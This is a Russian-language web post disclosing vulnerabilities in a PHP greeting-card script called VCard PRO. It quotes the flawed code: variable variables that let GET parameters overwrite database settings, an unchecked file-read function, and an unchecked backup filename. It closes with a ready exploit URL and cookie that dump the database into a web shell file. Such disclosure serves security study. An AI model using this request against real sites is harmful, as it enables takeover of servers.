• Партнер

  • Есть в интернете такой проект как "VCard PRO -сервис виртуальных поздравительных открыток". Официальным сайтом проекта находится по адресу
    www.belchiorfoundry.com. Да вот незадача, программисты не слишком знакомы с вопросом
    безопасности, в результате чего под ударом постоянно оказывается множество не в чём не виноватых сайтов. 

    Главной ошибкой разработчиков движка можно считать использование символических ссылок,
    то есть это обыкновенная переменная, содержащая имя другой переменной. Для доступа к значению ссылки используется двойной знак $$.

    Файл /incude/grab.inc.php содержит код:

    if (!empty($_GET))
    {
    foreach ($_GET as $tmp_varname => $tmp_value)
    {
    $$tmp_varname = $tmp_value;

    }
    }

    при выполнение которого переменные переданные методом GET становятся обычными, заменяя собой определённые ранее эти же переменные,
    то есть в файле lib.inc.php функцией include загружается сначала файл с конфигами, а потом include/grab.inc.php в результате чего можно подменить конфигурационные данные для подключения к базе данных.
    Подменив базу данных, в скриптах будут использоваться
    данные из нашей базы, таким образом можно попасть в административную панель, заменив дополнительно cookies.

    Следующей важной уязвимостью является возможность
    просмотреть любой файл:

    при импорте таблицы стилей в файле /admin/style.php
    вызывается функция get_file_content(), из определение которой в файле /include/class/file.inc.php :

    function get_file_content($source)
    {
    if (file_exists($source) == 0)
    {
    return false;
    }
    else
    {
    $stuff = @fread(@fopen($source, 'rb'), @filesize($source));
    return $stuff;
    }
    }

    видно что местонахождения файла ни как не проверяется.

    И ещё не менее опасной уязвимостью является возможность сохранять дамп базы данных в любой
    директории, в любом формате, в результате чего может быть выполнен код (например
    php), заранее добавленный в базу.

    Код файла /admin/backup.php:

    if ($action == 'sqlfile')
    {
    $filehandle = fopen($filename,"w");
    $result = $DB_site->query("SHOW tables");
    while ($row = $DB_site->fetch_array($result))
    {
    fwrite($filehandle,sqldumptable($row[0])."\n\n\n");
    echo "<p>Dumping $row[0]</p>";
    }
    fclose($filehandle);
    message_die(GENERAL_MESSAGE, $msg['a_dbase_sucess_dumping']);
    }

    переменная $filename опять же нигде не проверяется.

    Пример url:

    /admin/backup.php?s=09be8c9e4e025c9&action= import&hostname=DBHOST&dbUser=DBUSER&dbPass=
    DBPASS&dbName=DBNAME&action= sqlfile&filename=./shell.php

    и cookies: su=09be8c9e4e025c9

    Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии